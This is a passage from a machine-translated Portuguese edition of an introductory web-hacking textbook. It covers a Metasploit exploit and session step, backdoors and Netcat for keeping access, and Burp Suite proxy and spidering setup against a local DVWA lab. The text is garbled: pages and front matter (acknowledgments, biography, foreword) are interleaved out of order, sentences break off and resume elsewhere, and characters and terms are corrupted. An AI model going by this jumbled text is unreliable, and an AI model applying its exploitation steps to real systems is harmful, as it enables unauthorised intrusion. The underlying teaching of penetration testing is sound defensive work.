alvo. Basta emitir o comando exploit e o exploit que construímos será enviado ao alvo.</p><p>Se a sua exploração for bem-sucedida, você receberá a seguinte confirmação no terminal, onde é</p><p>exibido que há uma sessão aberta na máquina de destino.</p><p>Você pode interagir com esta sessão emitindo o comando sessões -i 1 . Agora você controla</p><p>completamente a máquina alvo; é como se você estivesse sentado no teclado. Você pode ver</p><p>todas as sessões abertas emitindo o comando sessões .</p><p>Um</p><p>alerta O comando exploit é como puxar o gatilho.</p><p>Um</p><p>alerta O comando set option é como decidir que queremos balas Winchester, a mira</p><p>de visão noturna de 8 ÿ e a mochila de 3 dias para nossa aventura de caça.</p><p>Um</p><p>alerta Se você encontrar um erro “ID de sessão inválida” ou “nenhuma sessão ativa”,</p><p>o problema está relacionado à configuração do MySQL em execução em sua VM</p><p>BackTrack. Esta exploração específica só é aplicável a certas versões do MySQL</p><p>executadas com uma configuração SSL específica. Para obter mais detalhes sobre a</p><p>configuração exata e como você pode ajustar sua VM para garantir uma exploração</p><p>bem-sucedida, consulte https://dev.mysql.com/doc/refman/5.1/en/configurando-for-</p><p>ssl.html. Mesmo se você ajustar a instalação do MySQL, as etapas de exploração</p><p>apresentadas nesta seção permanecerão completamente inalteradas. Na verdade,</p><p>essas mesmas etapas podem ser usadas para a maioria dos ataques baseados em</p><p>rede que você gostaria de tentar!</p><p>Outra opção é baixar outra VM dedicada a hackers de rede e que forneça serviços vulneráveis</p><p>para realizar as etapas deste capítulo. Metasploitável é tal</p><p>Machine Translated by Google</p><p>Manutenção do acesso Manter o</p><p>acesso é quando um hacker consegue plantar um backdoor para manter o controle completo da máquina explorada</p><p>e poder retornar à máquina posteriormente sem ter que explorá-la novamente. É a cereja do bolo da exploração!</p><p>Embora não faça parte da nossa abordagem Básico de Hacking na Web, merece discussão. Tópicos como rootkits,</p><p>backdoors, cavalos de Tróia, vírus e botnets se enquadram na categoria de manutenção de acesso.</p><p>VM e é fornecido pela equipe Metasploit e pode ser baixado em http://www.offensive-security.com/metasploit-</p><p>unleashed/Metasploitable. Você teria então duas VMs separadas para usar neste capítulo (uma VM aacker e uma</p><p>VM vítima).</p><p>Talvez a ferramenta mais comum usada durante o acesso persistente seja o Netcat. Esta ferramenta foi</p><p>apelidada de canivete suíço do hacking devido à sua flexibilidade para visualizar, configurar e processar a</p><p>comunicação de rede entre várias máquinas. O Netcat costuma ser uma das primeiras ferramentas a ser instalada</p><p>após a exploração de um sistema, porque o hacker pode então se aprofundar ainda mais na rede e tentar explorar</p><p>computadores adicionais por meio de pivotamento. Pivotar significa usar uma máquina já explorada como</p><p>plataforma de ataque contra computadores adicionais na rede interna que, de outra forma, seriam totalmente</p><p>inacessíveis ao tráfego externo. Existem exemplos exatos do Netcat em capítulos posteriores, à medida que</p><p>exploramos a aplicação web. À medida que mais computadores são explorados, o hacker continua a penetrar mais</p><p>profundamente na rede interna e, se não for detectado, pode eventualmente comprometer todos os computadores</p><p>da rede. É disso que os sonhos dos hackers são feitos!</p><p>Machine Translated by Google</p><p>Reconhecimento e verificação de aplicativos da Web</p><p>CAPÍTULO 3</p><p>Machine Translated by Google</p><p>ÿ Tráfego da Web desmistificado com um proxy da Web ÿ</p><p>Por que o Burp Suite é o kit de ferramentas ideal para hackers da</p><p>Web ÿ Recon com Burp Spider: encontrar todos os recursos da Web com facilidade ÿ</p><p>O que há de bom e de ruim na verificação de aplicativos da Web</p><p>ÿ Verificação com Zed Attack Proxy (ZAP) e scanner de arroto</p><p>ÿ Uma ferramenta de força bruta para descobrir diretórios comumente usados em aplicações web que</p><p>pode revelar ainda mais recursos</p><p>As fases de reconhecimento e varredura da aplicação web fornecerão informações detalhadas sobre os recursos (páginas,</p><p>arquivos, diretórios, links, imagens, etc.) que compõem a aplicação web. Estas são informações muito importantes que serão</p><p>usadas durante a exploração de aplicações web posteriormente em nossa abordagem.</p><p>ÿ Um mapa do local de todos os recursos catalogados para que o reconhecimento e a inspeção manuais possam ser</p><p>Realizar o reconhecimento de aplicativos da web envolve descobrir cada recurso com o qual o aplicativo interage para que</p><p>possamos verificá-los em busca de vulnerabilidades. Apenas os recursos descobertos durante o reconhecimento serão</p><p>verificados, por isso é fundamental encontrarmos o máximo possível de recursos. As ferramentas usadas no reconhecimento</p><p>e verificação de aplicativos da Web incluem: ÿ Um proxy de interceptação para catalogar cada solicitação HTTP/S enviada</p><p>do navegador e</p><p>conduzido em recursos especialmente interessantes</p><p>cada resposta emitida pela aplicação web</p><p>Web Application Recon Há muitas maneiras</p><p>de realizar reconhecimento em aplicações web para encontrar todos os recursos relacionados. Talvez a orientação mais</p><p>comum seja “compreender completamente como o aplicativo se comporta” para estar na melhor posição possível para</p><p>exploração, o que inclui atividades como:</p><p>ÿ Uma ferramenta de spidering para fazer solicitações automatizadas ao aplicativo da web para que não tenhamos</p><p>ÿ Localização de pontos de entrada de dados (campos de entrada HTML, como campos de formulários, campos</p><p>ocultos, caixas suspensas e listas de botões de opção) ÿ</p><p>Inspeção de cabeçalhos HTTP, cookies HTTP e strings de consulta de URL ÿ Rastreamento</p><p>de parâmetros de corpo de URL e POST para ver como o aplicativo interage com</p><p>confiar em um ser humano propenso a erros para solicitar todos os recursos possíveis</p><p>ÿ Execução da revisão da funcionalidade HTML e JavaScript do lado do cliente ÿ Identificação</p><p>do(s) esquema(s) de codificação usado(s)</p><p>ÿ Um scanner de vulnerabilidade específico para aplicativos da web para pesquisar os recursos catalogados</p><p>Certamente, essas atividades são muito valiosas se você estiver interessado em obter um conhecimento profundo de uma</p><p>aplicação web alvo, mas elas exigem tempo, habilidade e conhecimento consideráveis.</p><p>para vulnerabilidades identificáveis</p><p>o banco de dados</p><p>Introdução</p><p>Resumo do capítulo:</p><p>Machine Translated by Google</p><p>FIGURA 3.1 Um proxy como parte do ciclo de solicitação e resposta entre um navegador e uma aplicação web.</p><p>Depois de configurar seu proxy, você poderá inspecionar cada solicitação e resposta que passa por ele e</p><p>interceptar e alterar valores de parâmetros usados durante o processo. Esta é uma funcionalidade muito útil</p><p>quando se trata de exploração de aplicativos da web.</p><p>Outro grande uso de um proxy web é manter um histórico (catálogo) em execução de todas as solicitações e</p><p>respostas que passam por ele. Isso não requer interferência do ciclo de solicitação e resposta, mas permite que o</p><p>ciclo seja inspecionado posteriormente durante a varredura e a exploração de solicitações e respostas que são</p><p>essenciais para a funcionalidade do aplicativo Web.</p><p>Noções básicas de um proxy da Web</p><p>Parece haver um mantra universalmente aceito no hacking da web de que um dos primeiros itens da sua lista de</p><p>tarefas é instalar e configurar um proxy para ser executado com o seu navegador. Sou um forte defensor desse</p><p>plano, desde que você entenda o raciocínio por trás do uso de um proxy enquanto seu navegador interage com o</p><p>aplicativo da web. Para começar, vamos definir as ações que o navegador (cliente) e a aplicação web (servidor)</p><p>realizam milhões de vezes por dia. O navegador envia solicitações ao aplicativo da web e o aplicativo da web</p><p>envia respostas de volta ao navegador. Este ciclo impulsiona fundamentalmente o nosso uso da Internet. Um</p><p>proxy permite ver como esses ciclos de solicitações e respostas realmente funcionam porque fica entre o</p><p>navegador e a aplicação web e controla o fluxo dessas solicitações e respostas que passam por ele, conforme</p><p>mostrado na Figura 3.1.</p><p>experiência em programação e são mais adequados para ataques mais avançados que realmente</p><p>visam a lógica</p><p>do aplicativo da web. Não incluiremos todas essas atividades na nossa etapa de reconhecimento; em vez disso,</p><p>nos concentraremos em vulnerabilidades que são facilmente detectadas e exploradas por meio de ferramentas</p><p>amplamente disponíveis. Conduziremos nossas atividades de reconhecimento usando ferramentas de spidering,</p><p>que podem ser configuradas para serem executadas automática ou manualmente, para descobrir os recursos do</p><p>aplicativo web de destino. Os recursos descobertos durante o reconhecimento serão usados durante a varredura</p><p>para procurar vulnerabilidades em aplicativos da web de maneira semelhante à que identificamos vulnerabilidades</p><p>no servidor da web.</p><p>Suíte Burp</p><p>Machine Translated by Google</p><p>FIGURA 3.3 Configurando o Firefox para usar um proxy para comunicações pela Internet.</p><p>FIGURA 3.2 Abrindo o Burp Suite no BackTrack.</p><p>O Burp Suite pode demorar alguns segundos para carregar na primeira vez, então seja paciente se não vir uma ação</p><p>imediata. Dependendo da sua versão do BackTrack, você também poderá ver um aviso sobre o Java Runtime Environment</p><p>(JRE). Clique em OK para continuar e aceite o contrato de licença. Se você receber notificações de que há versões mais</p><p>recentes do Burp Suite disponíveis para download, sinta-se à vontade para instalá-las.</p><p>Configurando o Burp Proxy Para ter</p><p>todas as solicitações e respostas HTTP/S catalogadas pelo Burp Suite, você precisa configurar seu navegador para usar</p><p>o proxy.</p><p>O Burp Suite está disponível no BackTrack, mas para obter mais informações ou para baixar o Burp Suit como um arquivo</p><p>independente, visite www.portswigger.net. O Burp Suite pode ser aberto no BackTrack viaApplications ÿ BackTrack ÿ</p><p>Vulnerability Assessment ÿ Web Application Assessment ÿ Web Application Proxies ÿ Burpsuite conforme</p><p>mostrado na Figura 3.2.</p><p>Para nossos propósitos, usaremos Burp Suite I ntercept (ou apenas Burp, para abreviar) como nosso proxy, já que i é</p><p>amplamente visto como uma das plataformas de hacking na web com mais recursos disponíveis. Usaremos muitas</p><p>ferramentas no Burp Suite durante toda a nossa abordagem de hacking.</p><p>1. Abra o Firefox (no menu Aplicativos ÿ Internet ) e escolha Editar ÿ Preferências 2. Escolha</p><p>o menu Avançado na</p><p>parte superior da caixa Preferências do Firefox 3. Escolha a guia Rede e clique em</p><p>Configurações conforme mostrado na Figura 3.3</p><p>Machine Translated by Google</p><p>FIGURA 3.4 Definindo detalhes de configuração do Burp Suite no Firefox.</p><p>7. Feche a janela de preferências do Firefox</p><p>Além disso, removemos as entradas da caixa de entrada “No Proxy For” porque nosso destino está no</p><p>host local. Ao acessar um aplicativo web remoto, você não precisa editar as entradas encontradas na</p><p>caixa de texto “No Proxy For”.</p><p>Um</p><p>alerta Embora o Burp Suite seja executado na porta 8080, outros proxies podem usar um número de</p><p>porta diferente. Certifique-se de usar a porta correta se optar por usar um proxy diferente.</p><p>4. Selecione o botão de opção Configuração manual de proxy e digite 127.0.0.1 na caixa de entrada</p><p>Proxy HTTP 5. Digite 8080 na</p><p>caixa de entrada Porta 6. Limpe a caixa de</p><p>entrada Sem proxy para , certifique-se de que as configurações de conexão espelham a Figura 3.4 e</p><p>clique em OK</p><p>Agora que nosso navegador está configurado para usar Burp como proxy, podemos começar nosso reconhecimento de</p><p>Spidering com arroto</p><p>Machine Translated by Google</p><p>Spidering manual O</p><p>spidering manual, também conhecido como spidering passivo, depende do toque suave da navegação</p><p>humana para construir o mapa do site com as informações coletadas. É apenas uma navegação normal</p><p>com um proxy instalado, catalogando tudo. O spidering manual mantém a discrição durante o</p><p>reconhecimento porque, do ponto de vista do servidor web e do aplicativo, não há nada fora do comum.</p><p>A taxa de solicitações é definida pela rapidez com que você clica nos links do aplicativo da web;</p><p>certamente, para não soar o alarme de um administrador de servidor web vigilante.</p><p>Executando o Burp Spider</p><p>Para usar o Burp Spider passivamente em nosso ambiente DVWA, siga estas etapas.</p><p>1. Inicie o Burp Suite seguindo as etapas anteriores neste capítulo, se ainda não estiver em execução.</p><p>2. Configure o Firefox para usar um proxy seguindo as etapas anteriores neste capítulo, se não for</p><p>Spidering automatizado O</p><p>spidering automatizado pega qualquer URL e localiza e solicita links automaticamente, envia formulários</p><p>e executa qualquer ação permitida dentro do escopo especificado, mesmo que as ações sejam</p><p>confidenciais, como fazer logoff, alterar uma senha, atualizar um perfil ou algo semelhante.</p><p>Essa busca acontece recursivamente até que nenhum novo conteúdo seja descoberto e armazenado</p><p>em um mapa do site de recursos catalogados. O escopo do spidering automatizado geralmente é o</p><p>URL de nível mais alto do aplicativo da web sobre o qual você está coletando informações, como</p><p>syngress.com ou um endereço IP especificado. Os Aackers normalmente não desencadeariam um</p><p>spider automatizado em um alvo devido à grande quantidade de solicitações que serão feitas ao</p><p>servidor. Mesmo um administrador de TI decente notará o fluxo de solicitações dos mesmos endereços</p><p>IP e saberá que alguém está realizando ativamente o reconhecimento no aplicativo da web.</p><p>Spidering é o ato de indexar todos os recursos de uma aplicação web e catalogá-los para uso futuro,</p><p>rastreando toda a aplicação web. A questão é se deve fazer o spidering manual ou automatizado, pois</p><p>cada abordagem tem seus benefícios e a escolha dependerá dos seus objetivos.</p><p>o aplicativo da web. Este é o começo crítico para qualquer hack da web, e é fundamental que</p><p>descubramos o máximo possível sobre o aplicativo alvo antes de criarmos e executarmos explorações.</p><p>já.</p><p>3. Navegue usando o Firefox até a página de login do DVWA em http://127.0.0.1/login.php.</p><p>Um</p><p>proxy lert Burp Intercept é configurado para interceptar todas as solicitações por padrão. É por isso</p><p>que a página de login do DVWA não carrega inicialmente. Para desativar isso, clique na guia proxy no</p><p>Burp, depois na subguia interceptação e clique no botão “interceptação ativada” para desativá-lo.</p><p>Voltaremos à guia de interceptação durante as etapas de hacking, mas por enquanto você pode</p><p>desligá-la. As guias do Burp mudarão</p><p>Machine Translated by Google</p><p>http://127.0.0.1/login.php</p><p>FIGURA 3.5 Mapa do site no Burp Suite.</p><p>FIGURA 3.6 Adicionando item ao escopo do Burp Suite.</p><p>Burp agora está catalogando todas as solicitações que você faz, bem como as respostas do aplicativo web DVWA.</p><p>Esse histórico de execução é melhor ilustrado na árvore do mapa do site que o Burp constrói automaticamente na guia</p><p>de destino e na subguia do mapa do site, conforme mostrado na Figura 3.5.</p><p>Agora também é um bom momento para definir o escopo de seus esforços de hacking no Burp. O escopo se</p><p>refere simplesmente a qual URL (ou endereço IP) você deseja considerar como alvo e ser usado no spidering</p><p>automatizado.</p><p>meus alunos da</p><p>DSU, e todos os outros que certamente renunciei e que forneceram amizade e apoio. Saudação!</p><p>Para minha filha mais velha, Liz: Sua ética de trabalho, atenção aos detalhes e motivação para o</p><p>sucesso são uma inspiração para mim. Estou ansioso pelos próximos anos enquanto você enfrenta</p><p>seus próximos desafios, pois não tenho dúvidas de que terá sucesso com louvor!</p><p>torcer a orelha, encher a boca de sabão e quebrar colheres de pau no bu finalmente valeu a pena!</p><p>(Essas coisas eram permitidas na década de 1980 e agora é óbvio que eu não era a criança mais</p><p>fácil de criar.) Seu amor e apoio nunca vacilaram e eu não poderia pedir pais melhores.</p><p>Machine Translated by Google</p><p>Meus vícios</p><p>Scott White – Revisor Técnico</p><p>ÿ Para Dafydd Stuttard: Eu culpo você por tudo isso! O Web Application Hacker's Handbook (WAHH) , de</p><p>sua autoria com Marcus Pinto, foi um dos primeiros livros sobre segurança que realmente estudei.</p><p>Depois de assistir às aulas, ser o revisor técnico da 2ª edição do WAHH, usar extensivamente sua</p><p>ferramenta de hacking de aplicativos da web Burp Suite e trocar inúmeros e-mails com você, fica</p><p>claro que você é o padrinho da segurança de aplicativos da web. Eduquei mais de 400 alunos com</p><p>WAHH e Burp Suite e espero que meu livro possa servir como uma rampa de acesso para sua</p><p>superestrada.</p><p>Um agradecimento especial a Sco White por fazer um excelente trabalho revisando e limpando meu trabalho.</p><p>Com todas as diferentes orientações que você recebe e solicitações de seu tempo, eu realmente aprecio sua</p><p>experiência, pontualidade e feedback honesto. Este livro é muito mais forte por causa do seu trabalho!</p><p>ÿ Para Eric Smith: Jamais me esquecerei de ter assistido com admiração enquanto você dominava como</p><p>um time vermelho de um homem só em nossa competição de segurança na DSU. Sua</p><p>história pessoal de trabalho árduo, dedicação e horas gastas no aperfeiçoamento de sua arte é</p><p>algo que retransmiti aos meus alunos centenas de vezes. Obrigado por sempre reservar um tempo para</p><p>voltar a Madison, SD, e promover seu status de semideus com nossos alunos!</p><p>Cara, que grupo. Não importa se você é um iniciante, um hacker super l33t ou algo entre os dois, você é sempre</p><p>bem-vindo se estiver disposto a aprender e explorar. Como morador de Dakota do Sul, tenho meu próprio “Monte</p><p>Rushmore de Segurança”: um grupo que não apenas é altamente qualificado em segurança, mas também me</p><p>forneceu muito apoio. ÿ Para o Dr. Jared DeMott: Você é um dos melhores caçadores de insetos/gurus de</p><p>exploração do mundo, mas um homem de família e amigo ainda melhor. Com todo o seu sucesso, seria</p><p>fácil esquecer-nos de nós, “pequenos” da Dakota State University, mas em vez disso, você nunca apoiou</p><p>tanto a nossa missão e os nossos objetivos. ÿ Para Dave Kennedy: ABRAÇOS! Você é um dos seguranças</p><p>mais encorajadores que já conheci. A quantidade de diversão que</p><p>você tem trabalhando, treinando, falando e simplesmente saindo com a comunidade de segurança é o que</p><p>importa. Estou feliz que nossos caminhos se cruzaram e estou ansioso por muitos mais anos vendo você</p><p>continuar a florescer. MAIS ABRAÇOS!</p><p>Equipe Syngress Para</p><p>todo o pessoal da Syngress que se arriscou comigo e forneceu nada além do melhor em serviço, feedback e</p><p>críticas em uma maneira extremamente oportuna. Especialmente Chris Katsaropoulos e Ben Rearick – seu</p><p>profissionalismo e tato são muito apreciados e são a forma como uma organização deve operar.</p><p>Machine Translated by Google</p><p>Sem nenhuma ordem específica, gostaria de agradecer aos corndogs, Patron Silver, HOTEL32</p><p>no Mont Carlo em Las Vegas (especialmente @J ohnnyLasVegas e Pay Sanchez), Mickey's mal</p><p>liquor, fantasy football, Pringles e meu ferro 6 para me ajudando a recarregar.</p><p>Machine Translated by Google</p><p>Dr. Josh Pauli recebeu seu Ph.D. em engenharia de software pela North Dakota Stat</p><p>University (NDSU) e agora atua como professor associado de segurança cibernética na</p><p>Dakot State University (DSU) em Madison, SD. Dr. Pauli publicou cerca de 30 artigos em</p><p>periódicos e conferências internacionais relacionados à segurança de software e seu</p><p>trabalho inclui apresentações convidadas da DEFCON, Black Hat e da Agência de</p><p>Segurança Nacional. Ele ministra cursos de graduação e pós-graduação em segurança de</p><p>software na DSU e é diretor de programa do DSU Cyber Corps. Dr. Pauli também realiza</p><p>testes de penetração em aplicações web para uma empresa de consultoria em segurança</p><p>da informação. Você pode acompanhar Josh no Twier seguindo @CornDogGuy e visitando</p><p>a página inicial da DSU em www.homepages.dsu.edu/paulij.</p><p>Biografia</p><p>Machine Translated by Google</p><p>Claramente, o assunto da segurança de aplicações web é mais crítico hoje do que nunca.</p><p>Há uma necessidade significativa de que mais pessoas entendam os ataques a aplicações web,</p><p>tanto no lado ofensivo (para testar falhas em aplicativos existentes) quanto no lado defensivo (para</p><p>desenvolver códigos mais robustos em primeiro lugar). Se você é completamente novo em hacking</p><p>na web, este livro irá ajudá-lo a começar. Supondo que não haja nenhum conhecimento existente,</p><p>ele ensinará as ferramentas e técnicas básicas necessárias para encontrar e explorar inúmeras</p><p>vulnerabilidades nos aplicativos atuais. Se o seu trabalho é construir ou defender aplicações web,</p><p>isso abrirá seus olhos para os ataques aos quais seus próprios aplicativos provavelmente ainda</p><p>estão vulneráveis e lhe ensinará como evitar que eles aconteçam.</p><p>N o passado recente, inúmeras organizações de alto nível foram comprometidas através de suas</p><p>aplicações web. Embora seus departamentos de relações públicas possam alegar que foram vítimas</p><p>de hackers altamente sofisticados, na realidade a maioria desses ataques explorou vulnerabilidades</p><p>simples que foram bem compreendidas durante anos. As empresas menores que não se sentem</p><p>sob os holofotes podem, na verdade, ficar ainda mais expostas. E muitos que estão comprometidos</p><p>nunca sabem disso.</p><p>A World Wide Web é uma massa enorme e em expansão de códigos de aplicativos. A maioria das empresas,</p><p>governos e outras organizações estão agora na web, expondo seus sistemas e dados ao mundo por meio de</p><p>funcionalidades personalizadas de aplicativos. Com as estruturas de desenvolvimento atuais, é mais fácil do que</p><p>nunca criar um aplicativo Web funcional sem saber ou fazer nada sobre segurança. Com as tecnologias atuais,</p><p>essa aplicação provavelmente será muito mais complexa do que as anteriores. As tecnologias em evolução</p><p>trazem consigo mais superfície de ataque e novos tipos de ataque. Enquanto isso, vulnerabilidades antigas</p><p>persistem e são reintroduzidas em novas aplicações por cada geração de programadores.</p><p>Dafydd Stuart</p><p>Criador do Burp Suite</p><p>Coautor do Manual do Hacker de Aplicações Web</p><p>Prefácio</p><p>Machine Translated by Google</p><p>Isso significa que você poderá fazer com que um aplicativo Web execute ações que nunca deveria realizar,</p><p>como recuperar informações confidenciais</p><p>Em nosso exemplo, gostaríamos de incluir tudo no servidor web localhost , então definimos 127.0.0.1</p><p>como nosso escopo selecionando adicionar item ao escopo no menu do botão direito no mapa do site, como</p><p>mostrado na Figura 3.6. Certifique-se de clicar com o botão direito na raiz da árvore (127.0.0.1), para que todo o</p><p>site seja definido no escopo.</p><p>4. Faça login no DVWA com admin e senha.</p><p>para vermelho (como um alerta), para que você saiba qual guia da suíte precisa de sua atenção!</p><p>Você pode adicionar vários endereços IP ou URLs de aplicativos da web ao escopo do seu teste. Para visualizar</p><p>seu escopo atual, use a subguia escopo na guia de destino . Se você tentar usar qualquer ferramenta Burp fora do</p><p>escopo especificado, você será solicitado a aceitar que está trabalhando fora do escopo. Na maioria das vezes</p><p>você pode simplesmente adicionar esse item ao escopo e continuar com sua atividade. Mas, em alguns casos,</p><p>esse prompt evitará que você interaja inadvertidamente com um alvo que está realmente fora do escopo pretendido.</p><p>Os diretórios são exibidos com o ícone de pasta e podem ser expandidos e recolhidos para ver as páginas que</p><p>o Burp encontrou no diretório. O ícone de engrenagem é usado para páginas</p><p>Machine Translated by Google</p><p>Com o spidering passivo ativado, agora você pode visitar todas as páginas do DVWA para que sejam</p><p>incluídas no mapa do site. Com menos de 20 páginas no total, o que não demoraria muito, você terá um</p><p>mapa completo do site do aplicativo da web. Você pode então identificar as páginas e parâmetros exatos</p><p>para aack! No entanto, com aplicativos de destino maiores, você pode clicar em links por muitas horas</p><p>sem nenhuma garantia de que realmente acessará todos os links possíveis. Para casos como este, ou</p><p>quando você não está preocupado em ser furtivo, você pode usar o spider automatizado do Burp.</p><p>Você também pode fazer spider seletivamente em qualquer branch do aplicativo web de destino, ou no</p><p>aplicativo web inteiro, se desejar, selecionando spider neste branch no menu do botão direito no mapa</p><p>do site. Você pode observar o progresso do spider na guia spider e no submenu de controle . Antes de</p><p>simplesmente abandonarmos o spider automatizado, há algumas configurações que precisam ser</p><p>revisadas na guia spider e na subguia de opções , conforme mostrado na Figura 3.7. ÿ Todas as caixas</p><p>de seleção nas</p><p>configurações são ativadas por padrão, incluindo a configuração de verificação do robots.txt .</p><p>ÿ Você pode desmarcar o spidering passivo se desejar, mas recomendo que você deixe-o ativado.</p><p>Mesmo que você não esteja com vontade de hackear, ainda é bastante interessante revisar o</p><p>mapa do site que é construído após um dia de navegação!</p><p>As entradas do mapa do site em negrito são os recursos que você solicitou manualmente e foram</p><p>catalogados pelo proxy. Você pode ver na Figura 3.5 que, no momento da captura de tela, eu naveguei</p><p>manualmente até o diretório dvwa , index.php, instruções.php, login.php e setup.php. Todas as entradas</p><p>acinzentadas foram descobertas pelo Burp Spider com seu reconhecimento e não por um usuário que fez</p><p>a solicitação em um navegador.</p><p>Embora você não tenha navegado até esses sites em seu navegador, ambos são referenciados em</p><p>páginas DVWA solicitadas por seu navegador. Aplicações web e referências relacionadas são uma</p><p>excelente peça de reconhecimento que será usada posteriormente na fase de exploração do usuário.</p><p>Por padrão, o Burp Spider verificará passivamente o HTML de todas as solicitações e respostas de links</p><p>para outros diretórios e arquivos. O Spider manual (passivo) não solicitará esses recursos, mas os incluirá</p><p>no mapa do site. À medida que você navega para mais páginas do DVWA, o mapa do site continuará a ser</p><p>preenchido dentro do diretório 127.0.0.1 e nos aplicativos da Web externos referenciados pelo DVWA.</p><p>Bons exemplos desse comportamento são os diretórios URL dvwa.svn.sourceforge.net e dvwa.co.uk que</p><p>agora fazem parte do mapa do seu site.</p><p>que possuem funcionalidades adicionais integradas. Na maioria das vezes, essas páginas usam parâmetros</p><p>para executar uma ação como fazer login, visualizar o banco de dados ou recuperar dados. Pense nessas</p><p>páginas como dinâmicas e não estáticas. Isso é importante porque é o nosso primeiro sinal das páginas</p><p>desta aplicação web que agem de acordo com a entrada do usuário. O ícone de página em branco é</p><p>usado para páginas da web que não aceitam entrada e não possuem funcionalidade dinâmica; estas são</p><p>apenas páginas da web estáticas.</p><p>ÿ Todos os valores padrão das opções do spider podem ser redefinidos usando a opção Reset Defaults</p><p>no menu Burp , então sinta-se à vontade para experimentar diferentes configurações.</p><p>Machine Translated by Google</p><p>Além disso, observe os valores padrão que o Burp usa para todos os campos do formulário, conforme</p><p>mostrado na Figura 3.8. Esses são os valores exatos que serão enviados ao aplicativo da web quando o spider</p><p>encontrar um formulário que possa ser enviado.</p><p>Existem também duas opções importantes de spidering para enviar formulários. Por padrão, o spider</p><p>automatizado enviará todos os formulários que encontrar. Não importa para que serve o formulário, onde ele</p><p>está localizado ou as ramificações de enviar o formulário várias centenas (ou milhares) de vezes. Não consigo</p><p>enfatizar esse ponto o suficiente: se o spider automatizado encontrar um formulário, ele o enviará sem se</p><p>importar com a vida humana! (OK, isso foi um pouco dramático demais, mas você entendeu). Se o spider</p><p>encontrar o formulário de alteração de senha que não exige a senha existente para processar a nova senha</p><p>preenchida automaticamente, você terá que fazer uma ligação embaraçosa ao seu cliente para redefinir sua</p><p>conta de teste. Outro ponto de conflito potencial é o formulário Fale Conosco que tantos sites usam. É comum</p><p>que o spider envie facilmente milhares de e-mails para o servidor de e-mail de destino por meio deste formulário</p><p>e cause todo tipo de azia para a empresa receptora que tenta manter seu servidor de e-mail funcionando</p><p>corretamente após tal ataque. Considere usar a opção de solicitação de orientação para envio de formulário</p><p>se desejar um controle mais granular do que o Burp Spider realmente envia para o aplicativo da web.</p><p>FIGURA 3.7 Configurações do Burp Spider e opções de monitoramento de tráfego.</p><p>Machine Translated by Google</p><p>Deixe-me contar uma história rápida sobre meu desentendimento pessoal com Peter Wiener. Concluí uma</p><p>grande quantidade de spidering manual em páginas especialmente confidenciais de um aplicativo de banco on-</p><p>line que estava testando para não acionar nenhuma funcionalidade inesperada. Depois que essa tarefa tediosa</p><p>foi concluída, pensei que seria apropriado usar a verificação automatizada para agilizar o trabalho do que pensei</p><p>serem apenas páginas HTML estáticas. Mais tarde naquela semana, enquanto eu terminava o projeto e iniciava o</p><p>relatório,</p><p>recebi uma ligação do diretor de segurança (CSO) do banco perguntando quem era Peter Wiener e por</p><p>que ele havia enviado mais de 400 perguntas ao banco por meio da página Fale Conosco . O CSO ficou um pouco</p><p>surpreso com o nome Peter Wiener e queria saber o que deveria dizer ao conselho de administração do banco se</p><p>eles perguntassem sobre isso. Gole! Foi nesse exato momento que entrei nas sessões de Burp Spider e mudei</p><p>Peter Wiener de Weinerville, WI para Peter Winne de Winnerville, WI. Essa única mudança de olhar tornou todas</p><p>as minhas explicações muito mais fáceis! Uma última observação sobre Peter: esses valores padrão retornarão</p><p>quando você baixar uma nova versão do Burp, portanto, certifique-se de alterá-los sempre!</p><p>Embora Peter Wiener, de Weinerville, WI, seja muito cativante e divertido, provavelmente não é o mais</p><p>apropriado para usar ao conduzir um teste de penetração profissional. A “Lenda de Peter Wiener” tem seguidores</p><p>de culto na comunidade de segurança da informação, e há postagens em blogs sobre os lugares engraçados</p><p>que Peter Wiener apareceu durante os testes de penetração. O criador do Burp Suite, Dafydd Stuard, é um grande</p><p>sujeito da Inglaterra, onde o termo wiener não tem as mesmas conotações que tem nos Estados Unidos. Ou é o</p><p>que ele diz.</p><p>Há outra dica sobre o uso de ferramentas automatizadas de hacking na web que acho que vale a pena</p><p>mencionar. É muito tentador configurar e executar as ferramentas e depois ir embora (ou ir para a cama). Por</p><p>favor, não faça isso. Embora na maioria das vezes seja perfeitamente seguro, há cada vez mais relatos de</p><p>ferramentas automatizadas não supervisionadas funcionando loucamente! Rede</p><p>FIGURA 3.8 Opções de formulários Burp Spider.</p><p>Machine Translated by Google</p><p>O que um scanner encontrará</p><p>Verificação de aplicativos da Web Os scanners de</p><p>aplicativos da Web fornecem uma maneira automatizada de descobrir vulnerabilidades no aplicativo, semelhante ao</p><p>Nessus, que encontra configurações incorretas de servidores da Web e patches ausentes.</p><p>Existem dois scanners da web específicos que encorajo você a investigar: Burp Suite Scanner e o Scanner no Zed</p><p>Aack Proxy (ZAP) da OWASP. O Burp Scanner está disponível na versão pro do Burp Suite, que no momento da</p><p>redação deste artigo custava aproximadamente US$ 300. Só você pode decidir se esse preço vale a pena para você,</p><p>mas sugiro que leia alguns dos estudos comparativos feitos sobre scanners da web. O Burp Suite teve um desempenho</p><p>geral muito bom e é o número 1 considerando o preço de seus concorrentes mais próximos.</p><p>A maioria dos scanners de aplicativos da web ficam entre um navegador e o aplicativo da web, como um proxy da web, e fazem parte de</p><p>um kit de ferramentas maior, como Burp Suite e ZAP. Os scanners da Web enviam entradas elaboradas para o aplicativo e analisam a</p><p>resposta em busca de sinais de vulnerabilidades conhecidas. É comum que um scanner da web envie centenas de solicitações a um</p><p>campo de entrada em um aplicativo da web para verificar todos os diferentes tipos de vulnerabilidades baseadas em assinatura.</p><p>desenvolvedores e administradores de servidores web criarão buracos negros nos servidores e aplicativos que</p><p>colocarão a ferramenta de hacking automatizada em um ciclo infinito de solicitações e catalogação. Em algum momento,</p><p>o disco rígido do hacker ficará cheio de arquivos temporários das ferramentas automatizadas que funcionam por horas.</p><p>Nada arruinará sua manhã como tentar montar sua máquina novamente depois de ter o disco rígido efetivamente</p><p>bloqueado.</p><p>A melhor coisa sobre Burp Scanner e ZAP Scanner é que o uso desses scanners tw é muito semelhante, então você</p><p>pode trabalhar executando uma varredura com ZAP, e se você decidir comprar Burp Suite Pro, você está no caminho</p><p>certo para entender como usá-lo.</p><p>Existem três tipos principais de vulnerabilidades de aplicativos da Web, independentemente da ferramenta escolhida</p><p>para realizar o teste, que os scanners da Web estão bem equipados para identificar: ÿ Vulnerabilidades</p><p>baseadas em entradas que têm como alvo o lado do servidor, como injeção de SQL e injeção de comando do sistema</p><p>operacional. Às vezes, esse tipo de vulnerabilidade é difícil de identificar positivamente para scanners</p><p>da Web porque a resposta do aplicativo da Web muitas vezes é suprimida no lado do servidor. Nos bons 